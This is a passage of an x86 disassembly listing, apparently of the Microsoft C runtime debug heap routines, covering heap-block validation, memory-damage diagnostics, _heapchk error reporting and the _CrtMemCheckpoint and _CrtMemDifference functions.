"_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)" push 0 push 48Bh push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_415D82 int 3 ; Trap to Debugger loc_415D82: ; CODE XREF: sub_415CA0+9Dj ; sub_415CA0+A6j ... xor edx, edx test edx, edx jnz short loc_415D2F mov eax, [ebp+var_8] cmp dword ptr [eax+14h], 2 jnz short loc_415D9E cmp [ebp+arg_4], 1 jnz short loc_415D9E mov [ebp+arg_4], 2 loc_415D9E: ; CODE XREF: sub_415CA0+EFj ; sub_415CA0+F5j mov ecx, [ebp+var_8] cmp dword ptr [ecx+14h], 3 jz short loc_415DD9 loc_415DA7: ; CODE XREF: sub_415CA0+137j mov edx, [ebp+var_8] mov eax, [edx+14h] cmp eax, [ebp+arg_4] jz short loc_415DD3 push offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse" push 0 push 492h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_415DD3 int 3 ; Trap to Debugger loc_415DD3: ; CODE XREF: sub_415CA0+110j ; sub_415CA0+130j xor ecx, ecx test ecx, ecx jnz short loc_415DA7 loc_415DD9: ; CODE XREF: sub_415CA0+105j mov edx, [ebp+var_8] mov eax, [edx+10h] mov [ebp+var_4], eax push 9 call sub_41B820 add esp, 4 mov eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_415CA0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, dword_443898 mov [ebp-4], eax mov ecx, [ebp+8] mov dword_443898, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push ebx push esi push edi push 9 call sub_41B780 add esp, 4 mov eax, [ebp+8] push eax call sub_4163D0 add esp, 4 test eax, eax jz short loc_415EAC mov ecx, [ebp+8] sub ecx, 20h mov [ebp-4], ecx loc_415E4A: ; CODE XREF: ___:00415EA1j mov edx, [ebp-4] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 4 jz short loc_415E9D mov ecx, [ebp-4] cmp dword ptr [ecx+14h], 1 jz short loc_415E9D mov edx, [ebp-4] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jz short loc_415E9D mov ecx, [ebp-4] cmp dword ptr [ecx+14h], 3 jz short loc_415E9D push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)" push 0 push 4D3h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_415E9D int 3 ; Trap to Debugger loc_415E9D: ; CODE XREF: ___:00415E58j ; ___:00415E61j ... xor edx, edx test edx, edx jnz short loc_415E4A mov eax, [ebp-4] mov ecx, [ebp+0Ch] mov [eax+14h], ecx loc_415EAC: ; CODE XREF: ___:00415E3Fj push 9 call sub_41B820 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, off_443C70 mov [ebp-4], eax mov ecx, [ebp+8] mov off_443C70, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415EE0 proc near ; CODE XREF: sub_415890+151p ; sub_415890+1B7p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi push edi mov [ebp+var_4], 1 loc_415EEE: ; CODE XREF: sub_415EE0:loc_415F5Cj mov eax, [ebp+arg_8] mov ecx, [ebp+arg_8] sub ecx, 1 mov [ebp+arg_8], ecx test eax, eax jz short loc_415F5E mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] mov ecx, [ebp+arg_4] and ecx, 0FFh mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx cmp eax, ecx jz short loc_415F5C loc_415F1B: ; CODE XREF: sub_415EE0+73j mov eax, [ebp+arg_4] and eax, 0FFh push eax mov ecx, [ebp+arg_0] xor edx, edx mov dl, [ecx-1] push edx mov eax, [ebp+arg_0] sub eax, 1 push eax push offset aMemoryCheckErr ; "memory check error at 0x%08X = 0x%02X, "... push 0 push 0 push 0 push 0 call sub_41AB10 add esp, 20h cmp eax, 1 jnz short loc_415F4F int 3 ; Trap to Debugger loc_415F4F: ; CODE XREF: sub_415EE0+6Cj xor ecx, ecx test ecx, ecx jnz short loc_415F1B mov [ebp+var_4], 0 loc_415F5C: ; CODE XREF: sub_415EE0+39j jmp short loc_415EEE ; --------------------------------------------------------------------------- loc_415F5E: ; CODE XREF: sub_415EE0+1Cj mov eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_415EE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F70 proc near ; CODE XREF: sub_414EA0:loc_414EBCp ; sub_4152A0:loc_415302p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_4], 1 mov eax, dword_443890 and eax, 1 test eax, eax jnz short loc_415F96 mov eax, 1 jmp loc_4162C8 ; --------------------------------------------------------------------------- loc_415F96: ; CODE XREF: sub_415F70+1Aj push 9 call sub_41B780 add esp, 4 call sub_41BC70 mov [ebp+var_C], eax cmp [ebp+var_C], 0FFFFFFFFh jz loc_4160B9 cmp [ebp+var_C], 0FFFFFFFEh jz loc_4160B9 mov ecx, [ebp+var_C] mov [ebp+var_18], ecx mov edx, [ebp+var_18] add edx, 6 mov [ebp+var_18], edx cmp [ebp+var_18], 3 ja loc_416082 mov eax, [ebp+var_18] jmp off_4162CF[eax*4] loc_415FDF: ; CODE XREF: sub_415F70+93j ; DATA XREF: ___:004162DBo push offset a_heapchkFailsW ; "_heapchk fails with _HEAPBADBEGIN.\n" push offset aS_25 ; "%s" push 0 push 0 push 0 push 0 call sub_41AB10 add esp, 18h cmp eax, 1 jnz short loc_415FFF int 3 ; Trap to Debugger loc_415FFF: ; CODE XREF: sub_415F70+8Cj xor ecx, ecx test ecx, ecx jnz short loc_415FDF jmp loc_4160A8 ; --------------------------------------------------------------------------- loc_41600A: ; CODE XREF: sub_415F70+68j ; sub_415F70+BEj ; DATA XREF: ... push offset a_heapchkFail_0 ; "_heapchk fails with _HEAPBADNODE.\n" push offset aS_25 ; "%s" push 0 push 0 push 0 push 0 call sub_41AB10 add esp, 18h cmp eax, 1 jnz short loc_41602A int 3 ; Trap to Debugger loc_41602A: ; CODE XREF: sub_415F70+B7j xor edx, edx test edx, edx jnz short loc_41600A jmp short loc_4160A8 ; --------------------------------------------------------------------------- loc_416032: ; CODE XREF: sub_415F70+68j ; sub_415F70+E6j ; DATA XREF: ... push offset a_heapchkFail_1 ; "_heapchk fails with _HEAPBADEND.\n" push offset aS_25 ; "%s" push 0 push 0 push 0 push 0 call sub_41AB10 add esp, 18h cmp eax, 1 jnz short loc_416052 int 3 ; Trap to Debugger loc_416052: ; CODE XREF: sub_415F70+DFj xor eax, eax test eax, eax jnz short loc_416032 jmp short loc_4160A8 ; --------------------------------------------------------------------------- loc_41605A: ; CODE XREF: sub_415F70+68j ; sub_415F70+10Ej ; DATA XREF: ... push offset a_heapchkFail_2 ; "_heapchk fails with _HEAPBADPTR.\n" push offset aS_25 ; "%s" push 0 push 0 push 0 push 0 call sub_41AB10 add esp, 18h cmp eax, 1 jnz short loc_41607A int 3 ; Trap to Debugger loc_41607A: ; CODE XREF: sub_415F70+107j xor ecx, ecx test ecx, ecx jnz short loc_41605A jmp short loc_4160A8 ; --------------------------------------------------------------------------- loc_416082: ; CODE XREF: sub_415F70+5Fj ; sub_415F70+136j push offset a_heapchkFail_3 ; "_heapchk fails with unknown return valu"... push offset aS_25 ; "%s" push 0 push 0 push 0 push 0 call sub_41AB10 add esp, 18h cmp eax, 1 jnz short loc_4160A2 int 3 ; Trap to Debugger loc_4160A2: ; CODE XREF: sub_415F70+12Fj xor edx, edx test edx, edx jnz short loc_416082 loc_4160A8: ; CODE XREF: sub_415F70+95j ; sub_415F70+C0j ... push 9 call sub_41B820 add esp, 4 xor eax, eax jmp loc_4162C8 ; --------------------------------------------------------------------------- loc_4160B9: ; CODE XREF: sub_415F70+3Cj ; sub_415F70+46j mov eax, dword_4DB0A0 mov [ebp+var_8], eax jmp short loc_4160CB ; --------------------------------------------------------------------------- loc_4160C3: ; CODE XREF: sub_415F70:loc_4162B6j mov ecx, [ebp+var_8] mov edx, [ecx] mov [ebp+var_8], edx loc_4160CB: ; CODE XREF: sub_415F70+151j cmp [ebp+var_8], 0 jz loc_4162BB mov [ebp+var_10], 1 mov eax, [ebp+var_8] mov ecx, [eax+14h] and ecx, 0FFFFh cmp ecx, 4 jz short loc_416110 mov edx, [ebp+var_8] cmp dword ptr [edx+14h], 1 jz short loc_416110 mov eax, [ebp+var_8] mov ecx, [eax+14h] and ecx, 0FFFFh cmp ecx, 2 jz short loc_416110 mov edx, [ebp+var_8] cmp dword ptr [edx+14h], 3 jnz short loc_416128 loc_416110: ; CODE XREF: sub_415F70+17Bj ; sub_415F70+184j ... mov eax, [ebp+var_8] mov ecx, [eax+14h] and ecx, 0FFFFh mov edx, off_4438A0[ecx*4] mov [ebp+var_14], edx jmp short loc_41612F ; --------------------------------------------------------------------------- loc_416128: ; CODE XREF: sub_415F70+19Ej mov [ebp+var_14], offset aDamaged ; "DAMAGED" loc_41612F: ; CODE XREF: sub_415F70+1B6j push 4 mov al, byte_44389C push eax mov ecx, [ebp+var_8] add ecx, 1Ch push ecx call sub_415EE0 add esp, 0Ch test eax, eax jnz short loc_416184 loc_41614A: ; CODE XREF: sub_415F70+20Bj mov edx, [ebp+var_8] add edx, 20h push edx mov eax, [ebp+var_8] mov ecx, [eax+18h] push ecx mov edx, [ebp+var_14] push edx push offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"... push 0 push 0 push 0 push 0 call sub_41AB10 add esp, 20h cmp eax, 1 jnz short loc_416177 int 3 ; Trap to Debugger loc_416177: ; CODE XREF: sub_415F70+204j xor eax, eax test eax, eax jnz short loc_41614A mov [ebp+var_10], 0 loc_416184: ; CODE XREF: sub_415F70+1D8j push 4 mov cl, byte_44389C push ecx mov edx, [ebp+var_8] mov eax, [edx+10h] mov ecx, [ebp+var_8] lea edx, [ecx+eax+20h] push edx call sub_415EE0 add esp, 0Ch test eax, eax jnz short loc_4161E1 loc_4161A7: ; CODE XREF: sub_415F70+268j mov eax, [ebp+var_8] add eax, 20h push eax mov ecx, [ebp+var_8] mov edx, [ecx+18h] push edx mov eax, [ebp+var_14] push eax push offset aDamageAfterHsB ; "DAMAGE: after %hs block (#%d) at 0x%08X"... push 0 push 0 push 0 push 0 call sub_41AB10 add esp, 20h cmp eax, 1 jnz short loc_4161D4 int 3 ; Trap to Debugger loc_4161D4: ; CODE XREF: sub_415F70+261j xor ecx, ecx test ecx, ecx jnz short loc_4161A7 mov [ebp+var_10], 0 loc_4161E1: ; CODE XREF: sub_415F70+235j mov edx, [ebp+var_8] cmp dword ptr [edx+14h], 0 jnz short loc_41623A mov eax, [ebp+var_8] mov ecx, [eax+10h] push ecx mov dl, byte_44389D push edx mov eax, [ebp+var_8] add eax, 20h push eax call sub_415EE0 add esp, 0Ch test eax, eax jnz short loc_41623A loc_41620B: ; CODE XREF: sub_415F70+2C1j mov ecx, [ebp+var_8] add ecx, 20h push ecx push offset aDamageOnTopOfF ; "DAMAGE: on top of Free block at 0x%08X."... push 0 push 0 push 0 push 0 call sub_41AB10 add esp, 18h cmp eax, 1 jnz short loc_41622D int 3 ; Trap to Debugger loc_41622D: ; CODE XREF: sub_415F70+2BAj xor edx, edx test edx, edx jnz short loc_41620B mov [ebp+var_10], 0 loc_41623A: ; CODE XREF: sub_415F70+278j ; sub_415F70+299j cmp [ebp+var_10], 0 jnz short loc_4162B6 mov eax, [ebp+var_8] cmp dword ptr [eax+8], 0 jz short loc_41627C loc_416249: ; CODE XREF: sub_415F70+30Aj mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] push edx mov eax, [ebp+var_8] mov ecx, [eax+8] push ecx mov edx, [ebp+var_14] push edx push offset aHsAllocatedAtF ; "%hs allocated at file %hs(%d).\n" push 0 push 0 push 0 push 0 call sub_41AB10 add esp, 20h cmp eax, 1 jnz short loc_416276 int 3 ; Trap to Debugger loc_416276: ; CODE XREF: sub_415F70+303j xor eax, eax test eax, eax jnz short loc_416249 loc_41627C: ; CODE XREF: sub_415F70+2D7j ; sub_415F70+33Dj mov ecx, [ebp+var_8] mov edx, [ecx+10h] push edx mov eax, [ebp+var_8] add eax, 20h push eax mov ecx, [ebp+var_14] push ecx push offset aHsLocatedAt0x0 ; "%hs located at 0x%08X is %u bytes long."... push 0 push 0 push 0 push 0 call sub_41AB10 add esp, 20h cmp eax, 1 jnz short loc_4162A9 int 3 ; Trap to Debugger loc_4162A9: ; CODE XREF: sub_415F70+336j xor edx, edx test edx, edx jnz short loc_41627C mov [ebp+var_4], 0 loc_4162B6: ; CODE XREF: sub_415F70+2CEj jmp loc_4160C3 ; --------------------------------------------------------------------------- loc_4162BB: ; CODE XREF: sub_415F70+15Fj push 9 call sub_41B820 add esp, 4 mov eax, [ebp+var_4] loc_4162C8: ; CODE XREF: sub_415F70+21j ; sub_415F70+144j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_415F70 endp ; --------------------------------------------------------------------------- off_4162CF dd offset loc_41605A ; DATA XREF: sub_415F70+68r dd offset loc_416032 dd offset loc_41600A dd offset loc_415FDF align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4162E0 proc near ; CODE XREF: sub_4179C0+A0p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_443890 mov [ebp+var_4], eax cmp [ebp+arg_0], 0FFFFFFFFh jz short loc_4162FB mov ecx, [ebp+arg_0] mov dword_443890, ecx loc_4162FB: ; CODE XREF: sub_4162E0+10j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4162E0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, dword_443890 and eax, 1 test eax, eax jnz short loc_416322 jmp short loc_416373 ; --------------------------------------------------------------------------- loc_416322: ; CODE XREF: ___:0041631Ej push 9 call sub_41B780 add esp, 4 mov ecx, dword_4DB0A0 mov [ebp-4], ecx jmp short loc_41633F ; --------------------------------------------------------------------------- loc_416337: ; CODE XREF: ___:loc_416367j mov edx, [ebp-4] mov eax, [edx] mov [ebp-4], eax loc_41633F: ; CODE XREF: ___:00416335j cmp dword ptr [ebp-4], 0 jz short loc_416369 mov ecx, [ebp-4] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 4 jnz short loc_416367 mov eax, [ebp+0Ch] push eax mov ecx, [ebp-4] add ecx, 20h push ecx call dword ptr [ebp+8] add esp, 8 loc_416367: ; CODE XREF: ___:00416354j jmp short loc_416337 ; --------------------------------------------------------------------------- loc_416369: ; CODE XREF: ___:00416343j push 9 call sub_41B820 add esp, 4 loc_416373: ; CODE XREF: ___:00416320j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416380 proc near ; CODE XREF: sub_4163D0+19p ; ___:004164CAp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 jz short loc_4163BD mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx nop call near ptr 2821B33h test eax, eax jnz short loc_4163BD cmp [ebp+arg_8], 0 jz short loc_4163B4 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax nop call near ptr 28215EBh test eax, eax jnz short loc_4163BD loc_4163B4: ; CODE XREF: sub_416380+20j mov [ebp+var_4], 1 jmp short loc_4163C4 ; --------------------------------------------------------------------------- loc_4163BD: ; CODE XREF: sub_416380+8j ; sub_416380+1Aj ... mov [ebp+var_4], 0 loc_4163C4: ; CODE XREF: sub_416380+3Bj mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_416380 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4163D0 proc near ; CODE XREF: sub_4152A0+1AAp ; sub_415890+9Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 jnz short loc_4163DE xor eax, eax jmp short loc_416452 ; --------------------------------------------------------------------------- loc_4163DE: ; CODE XREF: sub_4163D0+8j push 1 push 20h mov eax, [ebp+arg_0] sub eax, 20h push eax call sub_416380 add esp, 0Ch test eax, eax jnz short loc_4163F9 xor eax, eax jmp short loc_416452 ; --------------------------------------------------------------------------- loc_4163F9: ; CODE XREF: sub_4163D0+23j mov ecx, [ebp+arg_0] sub ecx, 20h push ecx call sub_41BE80 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_416426 mov edx, [ebp+arg_0] sub edx, 20h push edx mov eax, [ebp+var_4] push eax call sub_41BEE0 add esp, 8 jmp short loc_416452 ; --------------------------------------------------------------------------- loc_416426: ; CODE XREF: sub_4163D0+3Fj mov ecx, dword_4DB0B0 and ecx, 8000h test ecx, ecx jz short loc_41643D mov eax, 1 jmp short loc_416452 ; --------------------------------------------------------------------------- loc_41643D: ; CODE XREF: sub_4163D0+64j mov edx, [ebp+arg_0] sub edx, 20h push edx push 0 mov eax, dword_4DB7A0 push eax nop call near ptr 2830000h loc_416452: ; CODE XREF: sub_4163D0+Cj ; sub_4163D0+27j ... mov esp, ebp pop ebp retn sub_4163D0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, [ebp+8] push eax call sub_4163D0 add esp, 4 test eax, eax jnz short loc_41647B xor eax, eax jmp loc_41653F ; --------------------------------------------------------------------------- loc_41647B: ; CODE XREF: ___:00416472j push 9 call sub_41B780 add esp, 4 mov ecx, [ebp+8] sub ecx, 20h mov [ebp-4], ecx mov edx, [ebp-4] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 4 jz short loc_4164C0 mov ecx, [ebp-4] cmp dword ptr [ecx+14h], 1 jz short loc_4164C0 mov edx, [ebp-4] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jz short loc_4164C0 mov ecx, [ebp-4] cmp dword ptr [ecx+14h], 3 jnz short loc_416533 loc_4164C0: ; CODE XREF: ___:0041649Cj ; ___:004164A5j ... push 1 mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_416380 add esp, 0Ch test eax, eax jz short loc_416533 mov ecx, [ebp-4] mov edx, [ecx+10h] cmp edx, [ebp+0Ch] jnz short loc_416533 mov eax, [ebp-4] mov ecx, [eax+18h] cmp ecx, dword_443894 jg short loc_416533 cmp dword ptr [ebp+10h], 0 jz short loc_416500 mov edx, [ebp+10h] mov eax, [ebp-4] mov ecx, [eax+18h] mov [edx], ecx loc_416500: ; CODE XREF: ___:004164F3j cmp dword ptr [ebp+14h], 0 jz short loc_416511 mov edx, [ebp+14h] mov eax, [ebp-4] mov ecx, [eax+8] mov [edx], ecx loc_416511: ; CODE XREF: ___:00416504j cmp dword ptr [ebp+18h], 0 jz short loc_416522 mov edx, [ebp+18h] mov eax, [ebp-4] mov ecx, [eax+0Ch] mov [edx], ecx loc_416522: ; CODE XREF: ___:00416515j push 9 call sub_41B820 add esp, 4 mov eax, 1 jmp short loc_41653F ; --------------------------------------------------------------------------- loc_416533: ; CODE XREF: ___:004164BEj ; ___:004164D4j ... push 9 call sub_41B820 add esp, 4 xor eax, eax loc_41653F: ; CODE XREF: ___:00416476j ; ___:00416531j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, dword_4DC7D4 mov [ebp-4], eax mov ecx, [ebp+8] mov dword_4DC7D4, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416570 proc near ; CODE XREF: sub_416BF0+Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi cmp [ebp+arg_0], 0 jnz short loc_4165AA loc_41657F: ; CODE XREF: sub_416570+33j push offset a_crtmemcheckpo ; "_CrtMemCheckPoint: NULL state pointer.\n"... push offset aS_25 ; "%s" push 0 push 0 push 0 push 0 call sub_41AB10 add esp, 18h cmp eax, 1 jnz short loc_41659F int 3 ; Trap to Debugger loc_41659F: ; CODE XREF: sub_416570+2Cj xor eax, eax test eax, eax jnz short loc_41657F jmp loc_4166D3 ; --------------------------------------------------------------------------- loc_4165AA: ; CODE XREF: sub_416570+Dj push 9 call sub_41B780 add esp, 4 mov ecx, [ebp+arg_0] mov edx, dword_4DB0A0 mov [ecx], edx mov [ebp+var_4], 0 jmp short loc_4165D1 ; --------------------------------------------------------------------------- loc_4165C8: ; CODE XREF: sub_416570+83j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_4165D1: ; CODE XREF: sub_416570+56j cmp [ebp+var_4], 5 jge short loc_4165F5 mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov dword ptr [edx+ecx*4+18h], 0 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov dword ptr [ecx+eax*4+4], 0 jmp short loc_4165C8 ; --------------------------------------------------------------------------- loc_4165F5: ; CODE XREF: sub_416570+65j mov edx, dword_4DB0A0 mov [ebp+var_8], edx jmp short loc_416608 ; --------------------------------------------------------------------------- loc_416600: ; CODE XREF: sub_416570:loc_4166ACj mov eax, [ebp+var_8] mov ecx, [eax] mov [ebp+var_8], ecx loc_416608: ; CODE XREF: sub_416570+8Ej cmp [ebp+var_8], 0 jz loc_4166B1 mov edx, [ebp+var_8] mov eax, [edx+14h] and eax, 0FFFFh test eax, eax jl short loc_416687 mov ecx, [ebp+var_8] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 5 jge short loc_416687 mov eax, [ebp+var_8] mov ecx, [eax+14h] and ecx, 0FFFFh mov edx, [ebp+arg_0] mov eax, [edx+ecx*4+4] add eax, 1 mov ecx, [ebp+var_8] mov edx, [ecx+14h] and edx, 0FFFFh mov ecx, [ebp+arg_0] mov [ecx+edx*4+4], eax mov edx, [ebp+var_8] mov eax, [edx+14h] and eax, 0FFFFh mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4+18h] mov eax, [ebp+var_8] add edx, [eax+10h] mov ecx, [ebp+var_8] mov eax, [ecx+14h] and eax, 0FFFFh mov ecx, [ebp+arg_0] mov [ecx+eax*4+18h], edx jmp short loc_4166AC ; --------------------------------------------------------------------------- loc_416687: ; CODE XREF: sub_416570+AFj ; sub_416570+C0j ... mov edx, [ebp+var_8] push edx push offset aBadMemoryBlock ; "Bad memory block found at 0x%08X.\n" push 0 push 0 push 0 push 0 call sub_41AB10 add esp, 18h cmp eax, 1 jnz short loc_4166A6 int 3 ; Trap to Debugger loc_4166A6: ; CODE XREF: sub_416570+133j xor eax, eax test eax, eax jnz short loc_416687 loc_4166AC: ; CODE XREF: sub_416570+115j jmp loc_416600 ; --------------------------------------------------------------------------- loc_4166B1: ; CODE XREF: sub_416570+9Cj mov ecx, [ebp+arg_0] mov edx, dword_4DB0A8 mov [ecx+2Ch], edx mov eax, [ebp+arg_0] mov ecx, dword_4DB09C mov [eax+30h], ecx push 9 call sub_41B820 add esp, 4 loc_4166D3: ; CODE XREF: sub_416570+35j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_416570 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov dword ptr [ebp-8], 0 cmp dword ptr [ebp+8], 0 jz short loc_416702 cmp dword ptr [ebp+0Ch], 0 jz short loc_416702 cmp dword ptr [ebp+10h], 0 jnz short loc_416730 loc_416702: ; CODE XREF: ___:004166F4j ; ___:004166FAj ... push offset a_crtmemdiffere ; "_CrtMemDifference: NULL state pointer.\n"... push offset aS_25 ; "%s" push 0 push 0 push 0 push 0 call sub_41AB10 add esp, 18h cmp eax, 1 jnz short loc_416722 int 3 ; Trap to Debugger loc_416722: ; CODE XREF: ___:0041671Fj xor eax, eax test eax, eax jnz short loc_416702 mov eax, [ebp-8] jmp loc_4167FC ; --------------------------------------------------------------------------- loc_416730: ; CODE XREF: ___:00416700j mov dword ptr [ebp-4], 0 jmp short loc_416742 ; --------------------------------------------------------------------------- loc_416739: ; CODE XREF: ___:loc_4167C7j mov ecx, [ebp-4] add ecx, 1 mov [ebp-4], ecx loc_416742: ; CODE XREF: ___:00416737j cmp dword ptr [ebp-4], 5 jge loc_4167CC mov edx, [ebp-4] mov eax, [ebp+10h] mov ecx, [ebp-4] mov esi, [ebp+0Ch] mov edx, [eax+edx*4+18h] sub edx, [esi+ecx*4+18h] mov eax, [ebp-4] mov ecx, [ebp+8] mov [ecx+eax*4+18h], edx mov edx, [ebp-4] mov eax, [ebp+10h] mov ecx, [ebp-4] mov esi, [ebp+0Ch] mov edx, [eax+edx*4+4] sub edx, [esi+ecx*4+4] mov eax, [ebp-4] mov ecx, [ebp+8] mov [ecx+eax*4+4], edx mov edx, [ebp-4] mov eax, [ebp+8] cmp dword ptr [eax+edx*4+18h], 0 jnz short loc_4167A2 mov ecx, [ebp-4] mov edx, [ebp+8] cmp dword ptr [edx+ecx*4+4], 0 jz short loc_4167C7 loc_4167A2: ; CODE XREF: ___:00416793j cmp dword ptr [ebp-4], 0 jz short loc_4167C7 cmp dword ptr [ebp-4], 2 jnz short loc_4167C0 cmp dword ptr [ebp-4], 2 jnz short loc_4167C7 mov eax, dword_443890 and eax, 10h test eax, eax jz short loc_4167C7 loc_4167C0: ; CODE XREF: ___:004167ACj mov dword ptr [ebp-8], 1 loc_4167C7: ; CODE XREF: ___:004167A0j ; ___:004167A6j ... jmp loc_416739 ; --------------------------------------------------------------------------- loc_4167CC: ; CODE XREF: ___:00416746j mov ecx, [ebp+10h] mov edx, [ebp+0Ch] mov eax, [ecx+2Ch] sub eax, [edx+2Ch] mov ecx, [ebp+8] mov [ecx+2Ch], eax mov edx, [ebp+10h] mov eax, [ebp+0Ch] mov ecx, [edx+30h] sub ecx, [eax+30h] mov edx, [ebp+8] mov [edx+30h], ecx mov eax, [ebp+8] mov dword ptr [eax], 0 mov eax, [ebp-8] loc_4167FC: ; CODE XREF: ___:0041672Bj pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416810 proc near ; CODE XREF: sub_416BF0+5Cp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_8], 0 push 9 call sub_41B780 add esp, 4 loc_41682A: ; CODE XREF: sub_416810+3Ej push offset aDumpingObjects ; "Dumping objects ->\n" push offset aS_25 ; "%s" push 0 push 0 push 0 push 0 call sub_41AB10 add esp, 18h cmp eax, 1 jnz short loc_41684A int 3 ; Trap to Debugger loc_41684A: ; CODE XREF: sub_416810+37j xor eax, eax test eax, eax jnz short loc_41682A cmp [ebp+arg_0], 0 jz short loc_41685E mov ecx, [ebp+arg_0] mov edx, [ecx] mov [ebp+var_8], edx loc_41685E: ; CODE XREF: sub_416810+44j mov eax, dword_4DB0A0 mov [ebp+var_4], eax jmp short loc_416870 ; --------------------------------------------------------------------------- loc_416868: ; CODE XREF: sub_416810:loc_416A8Dj mov ecx, [ebp+var_4] mov edx, [ecx] mov [ebp+var_4], edx loc_416870: ; CODE XREF: sub_416810+56j cmp [ebp+var_4], 0 jz loc_416A92 mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jz loc_416A92 mov ecx, [ebp+var_4] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 3 jz short loc_4168C4 mov eax, [ebp+var_4] mov ecx, [eax+14h] and ecx, 0FFFFh test ecx, ecx jz short loc_4168C4 mov edx, [ebp+var_4] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jnz short loc_4168C9 mov ecx, dword_443890 and ecx, 10h test ecx, ecx jnz short loc_4168C9 loc_4168C4: ; CODE XREF: sub_416810+85j ; sub_416810+95j jmp loc_416A8D ; --------------------------------------------------------------------------- loc_4168C9: ; CODE XREF: sub_416810+A5j ; sub_416810+B2j mov edx, [ebp+var_4] cmp dword ptr [edx+8], 0 jz short loc_416942 push 0 push 1 mov eax, [ebp+var_4] mov ecx, [eax+8] push ecx call sub_416380 add esp, 0Ch test eax, eax jnz short loc_416913 loc_4168E9: ; CODE XREF: sub_416810+FFj mov edx, [ebp+var_4] mov eax, [edx+0Ch] push eax push offset aFileErrorD ; "#File Error#(%d) : " push 0 push 0 push 0 push 0 call sub_41AB10 add esp, 18h cmp eax, 1 jnz short loc_41690B int 3 ; Trap to Debugger loc_41690B: ; CODE XREF: sub_416810+F8j xor ecx, ecx test ecx, ecx jnz short loc_4168E9 jmp short loc_416942 ; --------------------------------------------------------------------------- loc_416913: ; CODE XREF: sub_416810+D7j ; sub_416810+130j mov edx, [ebp+var_4] mov eax, [edx+0Ch] push eax 